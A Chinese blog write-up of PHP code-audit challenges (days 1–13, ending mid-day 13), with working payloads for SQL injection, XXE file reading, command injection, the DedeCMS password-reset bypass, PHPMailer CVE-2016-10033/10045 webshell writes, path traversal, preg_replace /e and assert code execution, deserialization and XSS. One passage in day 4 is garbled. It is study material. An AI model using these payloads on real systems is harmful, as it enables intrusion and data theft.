您的当前位置:首页正文

红日代码审计(day1-day14)

2024-11-23 来源:个人技术集锦

该来的始终还是要来的 ,该审计的始终还是要审计的

day_1:wishlist

in_array漏洞
未加第三个参数的强转漏洞

class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this->file = $file;
    $this->whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this->file['name'], $this->whitelist)) {
      move_uploaded_file(
        $this->file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this->file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);

经过分析
这里存在in_array漏洞,如果in_array第三个参数没有设置为true,就默认是false,即代表可以进行强转,将7shell.php转为7.php
当然一个文件名不会影响什么,但如果和sql注入结合,就不一样了
官方给了一道题,关键部分如下:

<?php
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|/*|*|../|./|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode( "|",$pattern);
foreach($back_list as $hack){
if(preg_match( "/$hack/i", $value))
die( "$hack detected!");
}
return $value;
}
?>

这里没有过滤报错注入需要用到的函数,因此这里可以使用updatexml和extractvalue函数,注意,由于这儿过滤了concat,所以替换成make_set
官方文档解释如下:

?id=3 and (select extractvalue(2,make_set(3,0x7e,(select * from flag))))--+

或者

?id=3 and (select updatexml(2,make_set(3,0x7e,(select * from flag)),3))--+

注意:由于过滤了or,所以查询所有表的时候不能使用information_schema,但是可以使用mysql5.7以上的sys.schema_auto_increment_columns

day_2:Twig

filter_var
url检验漏洞

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '<img ' .
      'src="https://loremflickr.com/320/240">' .
      '<a href="{{link|escape}}">Next slide &raquo;</a>';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new Twig\Loader\ArrayLoader([
      'index.html' => $indexTemplate
    ]);
    $this->twig = new Twig\Environment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this->twig->render(
      'index.html',
      ['link' => $this->getNexSlideUrl()]
    );
  }
}

(new Template())->render();

这个很典型了,filter_var对url存在的典型漏洞
可以通过:

javascript://comment%250aalert(1)

首先这条语句满足url的要求,//是单行注释,%25是%的url编码(直接在url上面%会变成%25),%0a是换行符,这样alert(1)就在下一行,没有被注释;
不过,这种跨站脚本攻击本身危害不大。
但是,跟命令执行放在一起,危害就大了。

同是这道对应的ctf题:

<?php
$url=$_GET['url'];
if(isset($url) && filter_var($url,FILTER_VALIDATE_URL))
{
	$site_info=parse_url($url);
	if(preg_match('/sec-redclub.com$/',$site_info['host']))
	{
		exec('curl"'.$site_info['host'].'"'.$result);
		echo "<center><h1>you have curl {$site_info['host']}successfully!</h1></center>
			  <center><textarea rows='20' cols='90'>";
			  echo implode('',$result);
	}
	else
	{
		die("<center><h1>error:host is not allowed</h1></center>");
	}
}
else
{
	echo "<center><h1>just url like http://hbijkl.bk.com</h1></center>";
}
?>

首先就要经过 filter_var检验,在这里有多种绕过方式,不止这一种,以下都能绕过

http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com%23sec-redclub.com

难的是第二个preg_match('/sec-redclub.com$/',$site_info['host']),绕过这个匹配;
在这里,截取以上绕过语句的

http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/

构造payload:

demo://demo.com:80";ls;"sec-redclub.com:80

day_3: Snow Flake

漏洞产生函数是

class_exists()
php内置函数使用漏洞

实现任意文件读取;
因为class_exists()的check自动调用了__autoload(),因此可以调用php内置类
所以payload:

?c=GlobIterator&d[t]=./*.php

看看与这个函数相关的ctf题:

?name=GlobIterator&param=./*.php&param2=0

SimpleXMLElement和simplexml_load_string用于执行xml语句,可利用xml脚本来读取文件内容(xxe),这里要用base64的格式读取,因为文件中若存在 < > & ’ " 符号,会导致xml读取错误。
利用方式如下:

?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">]><x>%26xxe;</x>&param2=2

因此class_exists参数可控,则可以任意文件读取。

day_4:False Beard

strpos返回0和false漏洞

乍一看感觉是个xxe
将用户名和账号的输入进行xml处理
但是要求用户名和账号中不能出现<>这样的字符;
这里出现问题的函数是strpos
strpos是找到字符串第一次出现的位置,没找到返回false,若在开头就找到则返回0;
而这里的if判断条件是:

<?xml version="1.0"?>' .
        '<user v="%s"/><pass v="%s"/>

所以可以构造

<?xml version="1.0">
<user v=""/><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>< ""/>
<pass v=""/><description>&xxe;</description><""/>

所以payload如下
user:<>"/><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>< "
pass:<>"/><description>&xxe;</description><"

这里使用官方找的类似bug
dedecms的找回密码功能,关键代码如下:

......
resetpassword.php
else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);//返回一堆数组
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)//如果用户没有设置安全问题和密码,就是'0'='0.0'&&null='';为啥不能直接‘0’=‘0’???
    {//所以这才是重点,使得url=url?dopost=safequestion&safequestion=0.0&safeanswer=&id=myid
        sn($mid, $row['userid'], $row['email'], 'N');//回答问题正确就进行sn
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }

}

......

漏洞出现在if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)这一句
如果用户并没有设置安全问题,自然也没有答案,因此,
r o w [ ′ s a f e q u e s t i o n ′ ] = 0 r o w [ ′ s a f e a n s w e r ′ ] = n u l l 对 于 s a f e q u e s t i o n 来 说 , ‘ 0 = = s a f e q u e s t i o n ‘ , 这 里 可 以 用 0 = 0.0 , 0 = 0. , 0 = 0 e 1 来 进 行 绕 过 ( 经 过 v a r d u m p 输 出 , 发 现 row['safequestion']=0 row['safeanswer']=null 对于safequestion 来说,`0==safequestion` ,这里可以用0=0.0,0=0.,0=0e1来进行绕过 (经过var_dump输出,发现 row[safequestion]=0row[safeanswer]=nullsafequestion0==safequestion,0=0.0,0=0.,0=0e1vardumprow[‘safequestion’] 是字符串型,为“0”,而 s a f e q u e s t i o n 虽 然 也 为 字 符 型 , 但 是 使 用 v a r d u m p 输 出 s a f e q u e s t i o n = 0 的 时 候 是 以 下 图 片 显 示 的 为 空 , 输 出 0.0 是 就 是 0.0 ; 回 去 看 了 看 , 原 来 是 这 ‘ i f ( e m p t y ( safequestion虽然也为字符型,但是使用var_dump输出safequestion=0的时候是以下图片显示的为空,输出0.0是就是0.0;回去看了看,原来是这` if(empty( safequestion使vardumpsafequestion=00.00.0if(empty(safequestion)) $safequestion = ‘’;,empty(0)=1,所以safequestion为'') ![在这里插入图片描述](https://img-blog.csdnimg.cn/2020010520494473.png) 对于safeanswer来说null==’’`
然后进行sn函数
sn函数在inc/inc_pwd_function.php中,关键代码如下:

.......
function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";//在临时密码表里找
    $row = $db->GetOne($sql);//同样获取
    if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);//进入newmail
    }
    //10分钟后可以再次发送新验证码;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件;
    else
    {
        return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
    }
}

从刚刚的resetpassword.php传进来的row为0;所以直接进入newmail函数
newmail函数关键语句如下:

.......
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval);
            }
        }
        else
        {
            return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
        }
    }

从最开始传进来的send就为n,所以直接进入showmsg跳转到/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval这个页面
核心代码为:


.....
elseif($setp == 2)
    {
        if(isset($key)) $pwdtmp = $key;// $key = md5($randval);randval是random(8)

        $sn = md5(trim($pwdtmp));//再次将keymd5加密
        if($row['pwd'] == $sn)//综上,修改密码需要random(8)两次md5加密,并且setp=2(这里的setp=2是只要没有超时就自动赋值);
		//即/resetpassword.php?dopost=getpasswd&id="我们的id"&key="md5(random(8))",但这个是自动填好的东西
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功,请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起,新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起,临时密码错误', '-1');
        exit;
    }
}

setp=2是在前端赋的值(前提是没超时),跳进dopost=getpasswd里面就基本上完成了修改密码操作;
所以payload为:

/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=$id=my_id

好啦,我去复现了;复现详细请戳

*day5-Postcard(一脸懵中,先放这儿)

参考自

escapeshellarg和escapeshellcmd特殊字符逃逸
mail -x参数命令执行漏洞
filter_var() 中 的FILTER_VALIDATE_EMAIL,转义和空格可在双引号中

核心代码如下:

<?php
class Mailer {
  private function sanitize($email) {
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {//filter_var可绕过
      return '';
    }

    return escapeshellarg($email);//escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数,这里应该也可以进行命令执行
  }

  public function send($data) {
    if (!isset($data['to'])) {
      $data['to'] = 'none@ripstech.com';
    } else {
      $data['to'] = $this->sanitize($data['to']);
    }

    if (!isset($data['from'])) {
      $data['from'] = 'none@ripstech.com';
    } else {
      $data['from'] = $this->sanitize($data['from']);
    }

    if (!isset($data['subject'])) {
      $data['subject'] = 'No Subject';
    }

    if (!isset($data['message'])) {
      $data['message'] = '';
    }

    mail($data['to'], $data['subject'], $data['message'],
      '', "-f" . $data['from']);//-x可以直接上传shell,可以直接-fx。。
  }
}

$mailer = new Mailer();
$mailer->send($_POST);
?>

分析漏洞之前,先看看mail函数的语法:
mail(to,subject,message,headers,parameters)
to:发送给谁
subject:主题
message:内容
header:可选,报头,例:From、Cc 和 Bcc
parameters:可选,参数,
额外参数如下:



        -O option = value

        QueueDirectory = queuedir 选择队列消息

        -X logfile

        这个参数可以指定一个目录来记录发送邮件时的详细日志情况。这里存在着命令执行漏洞

        -f from email

        这个参数可以让我们指定我们发送邮件的邮箱地址。

假设,发送邮箱代码如下:

<?php
$to="123@163.com";
$subject="muma";
$message="<?php eval($_POST['shell']);?>";
$header="CC:someone@163.com";
$parameters="-OQueueDirectory=/tmp -X /var/www/html/log.php"
mail($to,$subject,$message,$header,$parameters)
?>

这样的话,在log.php里面就会写入木马,从而达到获取shell的目的
当然对于这道题来说,不仅仅是这样,对于filter_var() 中 的FILTER_VALIDATE_EMAIL来说,所有的特殊符号必须放在双引号中
但在双引号中嵌套转义字符仍然能通过验证,如下例子:

@var_dump(filter_var('\'hhh."\'\ hhh\ hhh"@qq.com',FILTER_VALIDATE_EMAIL));#ture

@var_dump(filter_var('"hhh.hhh\ zsdz"@163.com',FILTER_VALIDATE_EMAIL));#ture

127.0.0.1' -v -d a=1
经过escapeshellarg转义单引号
'127.0.0.1'\'' -v -d a=1'
经过escapeshellcmd处理\和转义a=1'的单引号
'127.0.0.1'\\'' -v -d a=1\'
此时\\已经被解释成\,最后放到命令curl中,得到:
curl 127.0.0.1\ -v -d a=1'

感觉还是有点晕,进行一下实例分析:
CVE-2016-10033
就是在调用mail函数的时候,$parameters参数可控且没有进行过滤,只单纯判空了一下,因此,可以使用-X写入shell
-OQueueDirectory=/tmp -X/var/www/html/x.php
经过代码审计发现parameters参数是通过this->Sender传来的,而this->Sender是通过setFrom 函数将 $address 经过一些过滤处理赋值的
对于address的处理有很复杂的正则表达式,如下:

 preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);

不过还是有大佬发现,在@前使用括号可以引入空格(引入空格是因为在执行命令时需要)
使用payload为:

abc( -OQueueDirectory=/tmp -X/var/www/html/x.php )@123.com
"<?php phpinfo();?>". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @swehack.org

CVE-2016-10045
这是在以上的基础上增加了escapeshellcmd 函数进行加强
但是由于mail函数底层调用了escapeshellarg 函数,因此两个函数放在一起出现了单引号逃逸漏洞
而payload也变成了

a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
先经过escapeshellarg 转义
''a'\''( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com''
再经过escapeshellcmd 转义
''a'\\''\( -OQueueDirectory=/tmp -X/var/www/html/x.php \)@a.com\''
最后命令变成
'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\'
即被分成四部分
-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com'

感觉还是有点懵,emm,再来一道ctf题,鉴于ctf我不太好理解,所以放在了

day6-Frost Pattern

正则表达式运用不当,可实现路径穿越

<?php
class TokenStorage {
  public function performAction($action, $data) {
    switch ($action) {
      case 'create':
        $this->createToken($data);
        break;
      case 'delete':
        $this->clearToken($data);
        break;
      default:
        throw new Exception('Unknown action');
    }
  }

  public function createToken($seed) {
    $token = md5($seed);
    file_put_contents('/tmp/tokens/' . $token, '...data');//写入文件
  }

  public function clearToken($token) {
    $file = preg_replace("/[^a-z.-_]/", "", $token);//将token中的除了a-z或者.到_的其它字符换成空,preg_replace有漏洞,这儿存在着00截断或者%0a换行或者直接注释。
    unlink('/tmp/tokens/' . $file);//删除文件
  }
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);//参数可控,貌似可以任意删除,action=delete,data=
?>

正则表达式运用不当,可以通过传入…/进行路径穿越,可以实现任意文件删除
payload如下

?action = delete&data = ../../ config.php

[^a-z.-_] 表示匹配除了 a 字符到 z 字符、. 字符到 _ 字符之间的所有字符
同样一道ctf题:

<?php
include 'flag.php';
if  ("POST" == $_SERVER['REQUEST_METHOD'])
{
    $password = $_POST['password'];//以post方式提交password
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))//匹配打印字符42.000000000
    {
        echo 'Wrong Format';
        exit;
    }
    while (TRUE)
    {
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';//[:punct:]匹配: !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~. [[:digit:]]匹配数字
        if (6 > preg_match_all($reg, $password, $arr))//这里是将字符,数字,大写,小写分段,至少要有六段--》42.0a-000000
            break;
        $c = 0;
        $ps = array('punct', 'digit', 'upper', 'lower');
        foreach ($ps as $pt)
        {
            if (preg_match("/[[:$pt:]]+/", $password))//又继续匹配
            $c += 1;
        }
        if ($c < 3) break;//至少含有上面四种类型的三种类型,现在已经有[[:punct:]] (.),[[:digit:]](数字),大写小写。。42.0a-000000,但是这个过不了等于42,采用科学计数法:42.00000e+00
	
        if ("42" == $password) echo $flag;//password要等于"42",
        else echo 'Wrong password';
        exit;
    }
}
highlight_file(__FILE__);
?>

重点在于三次正则表达式,
第一次:

0 >= preg_match('/^[[:graph:]]{12,}$/', $password)

^表示以什么开头,$表示以什么结尾,[[:graph:]]表示可打印字符集
所以这里需要写一个长度为12的可打印字符集
第二次:

 $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
        if (6 > preg_match_all($reg, $password, $arr))

[[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]分别表示集合{ !"#$%&'()*+,-./:;<=>?@[\]^_{|}~.}`,数字,大写,小写

(6 > preg_match_all($reg, $password, $arr)表示将password分为至少六段,每一段连续的集合,数字,大写,小写,都为一段;
例如:payload:42.00000e+00
分为:42 . 00000 e + 00一共六段,每一段都匹配连续的同一集合

第三次:

  if (preg_match("/[[:$pt:]]+/", $password))//又继续匹配
            $c += 1;
            ...
            if ($c < 3) break;

这里的意思是四种集合中至少匹配三种,当然最后还有一个弱比较等于42,可以用科学计数法(科学技术法:1.3e09 --> 1.3x10的9次方)
所以有了payload

password=42.00000e+00

day7-Bells

parse_str函数使用错误

<?php
function getUser($id) {
  global $config, $db;//大概是连接数据库时候用到的,不过全局变量貌似可控
  if (!is_resource($db)) {//检测变量是否为资源类型
    $db = new MySQLi(
      $config['dbhost'],
      $config['dbuser'],
      $config['dbpass'],
      $config['dbname']
    );
  }
  $sql = "SELECT username FROM users WHERE id = ?";//这里如果参数可控可能存在sql注入
  $stmt = $db->prepare($sql);
  $stmt->bind_param('i', $id);
  $stmt->bind_result($name);
  $stmt->execute();
  $stmt->fetch();
  return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);//解析referer
parse_str($var['query']);//将url后面提交的变量进行解析,例如:parse_str(username=123) --> $username=123,相当于再创建了个变量,那这里可能会存在变量覆盖
$currentUser = getUser($id);//通过id查询到name
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';//输出name
?>

果不其然的变量覆盖,若传入
?config['dbhost']=127.0.0.1&config['dbuser']=xxx&....&id=xxx,这样的话,我们可以直接让服务器连接自己的数据库,若有登录验证也可绕过
漏洞出现在parse_str函数,此函数的作用:
把查询字符串解析到变量中,例如:

parse_str("name=xxx&age=10");
---->
$name=xxx,$age=10

值得注意的是,此函数并不会验证之前是否存在变量,直接覆盖
实例比较复杂,我单独拿到
先看看ctf题:

<?php
$a = "hongri";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="uploadsomething.php">flag is here</a>';
}
?>

用到parse_str函数的是变量id,将接收的变量id的内容做为内容执行,payload?id=a[0]=240610708
当然仅仅还不行

<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}
?>

这里存在一个时间竞争问题,关键代码为:

 if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }

在一段比较短的时间内,不仅需要写入,还需要访问,才可能得到flag。
通过审计代码得知,sha1($_SERVER[‘REMOTE_ADDR’])为后台路径(REMOTE_ADDR与x-forwarded-for相似,不过两者有区别),所以:uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/
直接访问明显超过时间,得到的是too slow;
所以这里可以进行脚本和burpsuite的联合,进行时间竞争
python脚本如下:

import requests
import re

url='http://127.0.0.1/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/2.php'
for i in range(0,200):
    session=requests.session()
    content=session.get(url).content
    print content

*day8-Candle

正则表达式/e执行命令的问题

<?php
header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {//传入a A
  return preg_replace(
    '/(' . $regex . ')/ei',//这个/e貌似有问题
    'strtolower("\\1")',//反向引用
    $value
  ); //preg_replace(/(a)/ei,strtolower("\\1),A);
}

foreach ($_GET as $regex => $value) {
  echo complexStrtolower($regex, $value) . "\n";
}
?>

反向引用(这个没有运行出来,也不知道为啥)
\1:表示的是引用第一次匹配到的()括起来的部分
\2:表示的是引用第二次匹配到的()括起来的部分

例如:(\d)\1,可以匹配22,却不能匹配2,当然23也不能匹配,原因就是第一次匹配到的()括起来的部分是2,\1引用这个2,再次匹配一次,得到22
官方给的payload我也没法运行出结果…
题目要求将以get方式提交的键作为正则第一个参数,值作为正则表达式第三个参数
而第二个参数固定,是strtolower("\1"),应该是将匹配第一次匹配到的()括起来的部分转为小写;
可以匹配任意字符使用.*但是由于php本身,直接使用get方式传参,接收时会变成_,起不到匹配任意字符的作用
因此,可以换成,\S
,匹配任何非空白字符(当然也可以写[^ \f\n\r\t\v]
之后,对于为什么不能直接写phpinfo,官方解释如下:

这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。
 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行
 执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:

这里的${$a}与之前的可变变量$$a是一样的

var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

实例还是放在放在这儿
ctf题:

day-9:Rabbit

<?php
class LanguageManager {
  public function loadLanguage() {
    $lang = $this->getBrowserLanguage();
    $sanitizedLang = $this->sanitizeLanguage($lang);
    require_once("/lang/$sanitizedLang");//$sanitizedLang这个貌似能人为控制
  }

  private function getBrowserLanguage() {
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';//$a ?? 0 等同于 isset($a) ? $a : 0。所以这里应该是判断有没有设置accept-language
    return $lang;//返回server,传到下一个函数去
  }

  private function sanitizeLanguage($language) {
    return str_replace('../', '', $language);//这儿只过滤了../,但我还能写....//啊。。。
  }
}

(new LanguageManager())->loadLanguage();
?>

这里说一下php7引入的??和?:

$a ?? 0 等同于 isset($a) ? $a : 0
$a ?: 0 等同于 $a ? $a : 0

然后初步判断应该是HTTP_ACCEPT_LANGUAGE可控,然后过滤不全
经过测试:

..././flag.php
....//flag.php

确实,可以得到flag,过滤了…/可以使用…//或者…/./
实例分析仍然放到
ctf题:

day-10:Anticipation

<?php
extract($_POST);//这个函数是将数组的键作为变量名,值作为内容,赋值

function goAway() {
  error_log("Hacking attempt.");
  header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {//设置的waf,传入的参数不能是没有设置的,也不能不是数字
  goAway();
}

if (!assert("(int)$pi == 3")) {//assert貌似类似if,表示传入的值强转为int后需要等于3,这里应该可以用3a绕过,这个pi可以通过前面的post传入,但是。。。这里没有可执行的东西啊。。
  echo "This is not pi.";
} else {
  echo "This might be pi.";
}
?>

原来是一个逻辑漏洞,在进行waf之后没有退出,导致代码继续执行;
在判断pi变量为数字或者没有设置的时候,执行了goaway()函数,重定向到了error页面,完了之后继续往下执行,到asset判断
所以可以直接POST传递:pi=phpinfo()
实例仍然在
ctf:

day-11:Pumpkin Pie

<?php
class Template {
  public $cacheFile = '/tmp/cachefile';//这种公有变量很容易被修改
  public $template = '<div>Welcome back %s</div>';

  public function __construct($data = null) {//将data传递进来
    $data = $this->loadData($data);//将具有一定格式的data数据进行反序列化
    $this->render($data);
  }

  public function loadData($data) {
    if (substr($data, 0, 2) !== 'O:'
      && !preg_match('/O:\d:\/', $data)) {//这里规定了data传递的格式:O:1
      return unserialize($data);//反序列化问题挺多的
    }
    return [];
  }

  public function createCache($file = null, $tpl = null) {//构造函数过来的,但是调用函数的时候并没有进行传参
    $file = $file ?? $this->cacheFile;//file没有设置就设为初始化的cacheFile
    $tpl = $tpl ?? $this->template;
    file_put_contents($file, $tpl);//写入文件,这个很好被修改,因为两个变量都是公有,但是如何传参,嗯。。。
  }

  public function render($data) {
    echo sprintf(//这个sprintf函数是类似与c中的print,可以将%转化为参数输出
      $this->template,
      htmlspecialchars($data['name'])//将data数据进行html实体化
    );
  }

  public function __destruct() {
    $this->createCache();
  }
}

new Template($_COOKIE['data']);//由cookie传数据,仍然可控

?>

初步判断应该是一个php反序列化的问题,可惜,反序列化,我不会…啊哈哈
但是我们的目的是修改cacheFile和template,使得写入一句话木马,肯定是要用data来进行修改的。
反序列化的漏洞随便搜索一下就能知道,重点是如何绕过正则表达式:
。。。这个玩意,啊哈哈,先放payload:

a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}

这玩意等我过一遍所有之后再来

day-12:String Lights

<?php
$sanitized = [];

foreach ($_GET as $key => $value) {
  $sanitized[$key] = intval($value);//将以get方式传入的数组写入sanitized
}

$queryParts = array_map(function ($key, $value) {
  return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));//array_map遍历每一个值,执行函数,array_keys取sanitized的键,array_values取sanitized的值

$query = implode('&', $queryParts);//将queryParts与&作为字符串连接起来

echo "<a href='/images/size.php?" .
  htmlentities($query) . "'>link</a>";//执行html语言,这里query可控
  
  ?>

初步判断是xss
存在漏洞的函数是htmlentities,此函数原本是将html特殊字符转换成实体字符,如果不写额外参数的话,单引号和双引号是不能转换的,因此出现了漏洞。
参数放在下面:

    ENT_COMPAT(默认值):只转换双引号。
    ENT_QUOTES:两种引号都转换。
    ENT_NOQUOTES:两种引号都不转换。

所以很好构造payload:

' onclick=alert(/xss/)

day-13:Turkey Baster

<?php
class LoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this->em = DoctrineManager::getEntityManager();
    $this->user = $user;
    $this->password = $password;
  }

  public function isValid() {
    $user = $this->sanitizeInput($this->user);//这里调用函数过滤了些东西
    $pass = $this->sanitizeInput($this->password);

    $queryBuilder = $this->em->createQueryBuilder()
      ->select("COUNT(p)")
      ->from("User", "u")
      ->where("user = '$user' AND password = '$pass'");
    $query = $queryBuilder->getQuery();//一个过滤了双引号的sql注入,如果不能用宽字符注入,那就哦豁?
    return boolval($query->getSingleScalarResult());
  }

